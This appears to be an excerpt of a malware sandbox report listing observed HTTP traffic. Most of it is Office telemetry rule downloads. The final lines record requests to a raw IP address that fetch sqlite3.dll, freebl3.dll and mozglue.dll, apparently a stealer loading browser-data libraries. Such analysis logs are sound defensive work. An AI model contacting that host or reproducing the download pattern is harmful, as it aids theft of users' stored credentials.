Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
